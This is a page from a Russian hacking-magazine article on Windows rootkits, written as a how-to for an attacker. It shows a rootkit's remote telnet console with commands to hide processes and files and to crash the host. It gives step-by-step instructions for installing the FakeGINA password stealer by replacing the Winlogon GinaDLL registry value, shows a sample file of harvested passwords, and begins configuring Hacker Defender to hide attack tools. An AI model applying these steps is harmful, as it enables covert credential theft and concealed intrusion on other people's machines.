Что такое win r00tkits и что с ними делать

Xakep, номер #049, стр. 049-064-3


# ifconfig eth0 10.10.10.1

# telnet 10.0.0.166

Connected to 10.0.0.166.

Escape character is '^]'.

_

доступные команды:

ps # показать список процессов

8 System

136 SMSS.EXE

164 CSRSS.EXE

184 WINLOGON.EXE

212 SERVICES.EXE

232 LSASS.EXE

hidedir # спрятать файл/каталог (on/off)

hideproc # спрятать процесс (on/off)

debugint # резко перезагрузить машину (удаленную, естественно :))

sniffkeys # keylogger (в данной версии отсутствует)

Доступа к командной строке пока нет (данную функцию планируется добавить в версии 0.44). Как ты уже понял, теперь все папки/файлы/процессы и ключи реестра, которые начинаются с _root_, будут скрыты, например:

C:\>mkdir _root_YourDir

C:\>cd _root_YourDir

C:\>copy c:\winnt\system32\cmd.exe _root_cmd.exe

Можешь запускать _root_cmd.exe и ни в каких списках процессов он светиться не будет (также не будет виден каталог _root_YourDir). Вот, в принципе, и все. Если вдруг тебе понадобится запустить/остановить руткит, то набирай net start

_root_ и net stop _root_ соответственно.

Gina Trojan

FakeGINA - это сборщик паролей для Nt/2k. "Что тут особенного?" - скажешь ты. "Есть ведь всякие keylogger'ы и прочее". А то, что программу можно установить удаленно (regini&ftp), и антивирусы, естественно, ее не засекают (так как, по сути, это не вирус/троян, а поддельная библиотека). Прога осуществляет перехват обращений WinLogon к msgina.dll (то есть часть процедуры обычного входа в систему), захватывая при этом имя пользователя и пароль. Для ее использования тебе надо скопировать fakegina.dll в папку c:\winnt\sysyem32\, потом отправляйся в реестр [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] и замени значение GinaDLL с msgina.dll на fakegina.dll (если ты не сможешь найти этот параметр, то просто создай его). Теперь после перезагрузки и повторного входа в систему можно будет посмотреть награбленные пароли:

C:\>more c:\winnt\system32\passlist.txt

TEST\Administrator 1!ImGod!1

TEST\stalsen qwerTTY

Как ты уже понял, TEST - имя компьютера, Administrator и stalsen - имена пользователей, а 1!ImGod!1 и qwerTTY - пароли. Вообще, имя библиотеки можно переименовать, например, в ginams.dll.

Hacker Defender (by Holy_Father)

На мой взгляд, это самый лучший из всех доступных руткитов для Windows NT/2k/XP. Большая часть кода написана на Дельфи 6 (и ассемблере). Основная идея состоит в следующем: использовать некоторые API функции (WriteProcessMemory и CreateRemoteThread), чтобы создать новую "нить" но всех запущенных процессах системы, которая будет пытаться переписать некоторые функции kernel32.dll (вроде Kernel32.ReadFile, Kernel32.CreateProcessW, etc) и вставлять поддельный (то есть нужный) код, назначение которого - проверять результаты выполнения некоторых API и модифицировать их "по своему усмотрению". Это позволяет программе прятать файлы, процессы, сервисы и ключи реестра. Более подробное описание работы читай в файле readme на английском и чешском языках. Ну что ж, перейдем к использованию. У руткита есть конфиг-файл hxdef051.ini. Существует 6 частей настройки, а конкретно это [Hidden Table] - список файлов и папок которые должны быть спрятаны. Например, в корне диска ты создал директорию mystuff со всякими прогами типа fscan, dsniff, fgrind, и тебе не хочется их показывать, тогда пиши в конфиг:

Назад на стр. 049-064-2  Содержание  Вперед на стр. 049-064-4